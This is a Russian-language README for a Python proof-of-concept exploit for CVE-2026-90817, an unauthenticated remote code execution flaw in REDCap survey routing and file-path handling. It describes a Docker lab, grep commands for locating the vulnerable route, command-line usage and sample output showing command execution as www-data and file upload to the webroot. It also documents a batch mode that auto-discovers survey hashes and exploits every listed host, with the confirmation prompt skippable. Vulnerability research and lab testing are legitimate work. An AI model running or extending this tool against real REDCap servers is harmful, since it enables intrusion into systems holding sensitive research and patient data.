
Python PoC для CVE-2026-90817 — неаутентифицированного RCE в REDCap через маршрутизацию сквозной передачи опросов и инъекцию пути к файлу, с лабораторией Docker и целями, защищёнными списком разрешённых.
| Поле | Значение |
|---|
| CVE | CVE-2026-90817 |
| Продукт | Vanderbilt University REDCap |
| CVSS | 9.8 Critical |
| Аутентификация | Не требуется (требуется действительный хеш публичного опроса) |
| Затронуто | REDCap 13.3.0 и выше |
| Исправлено | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (External Control of File Name or Path), CWE-94 (Code Injection) |
Цепочка атаки:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (single-target, allowlist-guarded)
├── docker-compose.yml # MySQL + PHP-Apache lab stack
├── redcap-init/
│ ├── database.php # REDCap DB config for lab
│ └── php.ini # PHP settings for lab
├── redcap-src/ # <-- extract REDCap source here (you provide)
├── targets.txt # Authorized targets: one host per line
├── payload.txt # Sample file for upload mode
├── requirements.txt # Python dependencies
└── poc_results.txt # Generated after PoC run
REDCap — это лицензионное программное обеспечение. Вы должны получить его через официальные каналы для своей лаборатории.
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
Дождитесь прохождения healthcheck MySQL, затем откройте:
http://localhost:8080
Завершите мастер установки REDCap, используя следующие настройки базы данных (предварительно настроены в redcap-init/database.php):
| Настройка | Значение |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=).Пример URL опроса:
http://localhost:8080/surveys/?s=ABC123XYZ
Хеш опроса: ABC123XYZ
Публичный advisory не раскрывает точный маршрут контроллера или имя параметра. После настройки лаборатории выполните RE по redcap-src/ и заполните константы TODO в poc_cve_2026_90817.py:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
Поиск сквозной маршрутизации опроса:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
Поиск обработки пути к файлу/потоку при импорте данных:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
Установите STAGE1_SUCCESS_MARKER в строку, присутствующую в успешном ответе этапа 1 (необязательно, но рекомендуется).
pip install -r requirements.txt
Скрипт отклоняет цели, которые не являются ни лабораторными хостами (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost), ни перечисленными в targets.txt.
CVE-2026-90817 — не требует аутентификации — вход не нужен. Единственное предварительное условие — действительный хеш публичного опроса (из URL опроса ?s=HASH).
Инструмент может автоматически обнаружить хеш опроса, спарсив публичные страницы цели (best-effort). Он проверяет распространённые эндпоинты REDCap (/, /redcap/, /index.php, /surveys/) на наличие ссылок /surveys/?s=HASH. Это работает только если цель публично раскрывает ссылки на опросы (неправильная конфигурация). Для правильно настроенных экземпляров REDCap укажите хеш вручную через --hash.
--hash необязателен (автообнаружение при отсутствии)Для не лабораторных целей создайте targets.txt с одним хостом на строку (FQDN или IP). Вы несёте ответственность за легальную авторизацию каждого указанного хоста.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
Лабораторная цель с явным хешем:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
Лабораторная цель с автообнаруженным хешем:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
Добавьте --batch, чтобы автоматически эксплуатировать каждый хост, указанный в targets.txt. Инструмент автоматически обнаруживает хеш опроса для каждой цели, спарсив публичные страницы. Инструмент выводит все цели и запрашивает подтверждение перед началом (используйте --yes, чтобы пропустить запрос при скриптинге).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
Порт наследуется из --target (по умолчанию 8080). Чтобы использовать другой порт, установите --target http://placeholder:443/ перед --batch.
Результат каждой цели добавляется в выходной файл. В конце выводится сводка: N success, M failed, T total.
| Аргумент | По умолчанию | Описание |
|---|---|---|
--target | http://localhost:8080 | Базовый URL цели |
--hash | (необязательно) | Хеш публичного опроса. Если опущен, обнаруживается автоматически путём парсинга публичных страниц (best-effort). |
--allowlist | targets.txt | Файл целей, один хост на строку |
--batch | выкл | Перебрать все хосты в файле целей и эксплуатировать каждый |
--yes | выкл | Пропустить запрос подтверждения пакетного режима |
--mode | both | id, upload или both |
--out | poc_results.txt | Файл журнала результатов |
--timeout | 30 | Таймаут HTTP (секунды) |
--upload-local | payload.txt | Локальный файл для загрузки |
--upload-remote | uploaded_payload.txt | Удалённое имя файла под webroot |
--skip-placeholder-check | выкл | Пробный прогон HTTP-потока без заполненных констант TODO |
Примечание: автообнаружение работает только на целях, которые публично раскрывают ссылки на опросы. Для большинства экземпляров REDCap укажите --hash вручную.
При успехе stdout показывает:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
Результаты добавляются в poc_results.txt:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
Обновитесь до REDCap 16.0.49 LTS, 17.3.10 LTS или 17.4.4 Standard Release (в зависимости от применимости).
Дополнительное усиление защиты: